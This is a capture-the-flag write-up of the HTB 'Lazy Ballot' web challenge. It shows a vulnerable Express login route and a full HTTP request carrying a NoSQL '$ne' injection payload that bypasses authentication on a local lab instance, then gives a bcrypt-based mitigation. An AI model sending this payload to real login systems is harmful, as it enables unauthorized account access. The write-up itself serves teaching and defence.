Post

Lazy Ballot

Challenge

  • CTF: HTB Business CTF 2023: The Great Escape
  • Name: Lazy Ballot
  • Category: Web
  • Difficulty: Very Easy
  • Points: 350
  • Description: As a Zenium State hacker, your mission is to breach Arodor’s secure election system, subtly manipulating the results to create political chaos and destabilize their government, ultimately giving Zenium State an advantage in the global power struggle.

Files

Download: web_lazy_ballot.zip

Synopsis

The Express Node.JS web application was vulnerable to a simple authentication bypass via {"username": {"$ne": null}, "password": {"$ne": null} } as there lacked any input parsing. After this is complete, the user is presented with the flag on the dashboard screen.

Initial Analysis

You can spin this up via docker and it will be hosted at http://127.0.0.1:1337 or http://172.17.0.3:1337

1
sudo ./build-docker.sh

When browsing to the site for the first time you are presented with a cool welcome screen: lazyballot_1

When analyzing the backend source code, the routes/index.js contained all the routes for the Express Node.JS web application.

When the user logins in, they send a POST request to /api/login as show below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
router.post("/api/login", async (req, res) => {
    const { username, password } = req.body;

    if (!username || !password) {
        return res.status(403).send(response("Missing parameters"));
    }

    if (!await db.loginUser(username, password)) {
        return res.status(403).send(response("Invalid username or password"));
    }

    req.session.authenticated = true;
    return res.send(response("User authenticated successfully"));
});

In the helpers/database.js file, it defines the loginUser(username,password) function that contains no input-parsing.

1
2
3
4
5
6
7
8
9
10
11
12
13
async loginUser(username, password) {
        const options = {
            selector: {
                username: username,
                password: password,
            },
        };

        const resp = await this.userdb.find(options);
        if (resp.docs.length) return true;

        return false;
    }

NoSQL Authentication Bypass

Sending the following request should bypass authentication via a NOSQL injection to the username and password fields.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /api/login HTTP/1.1
Host: 127.0.0.1:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:1337/login
Content-Type: application/json
Origin: http://127.0.0.1:1337
Content-Length: 37
Connection: close
Cookie: connect.sid=s%3AkZ__LWngu7S28_eAQK9nKeWEFoT-A2dG.VVyjshtdHZvqSdo34AdEGDHKfeyT0R4PljjjOWM0qjk
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"username": {"$ne": null}, "password": {"$ne": null} }

The flag is located at the 180th location on the dashboard (9th page). lazyballot_2

Mitigation

This would be a secure mitigation for this code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const bcrypt = require('bcrypt');

async loginUser(username, password) {
    // Find the user by the provided username
    const user = await this.userdb.findOne({ username: username });

    if (!user) {
        return false; // User not found
    }

    // Compare the provided password with the stored hashed password
    const isPasswordValid = await bcrypt.compare(password, user.password);

    return isPasswordValid;
}
This post is licensed under CC BY 4.0 by the author.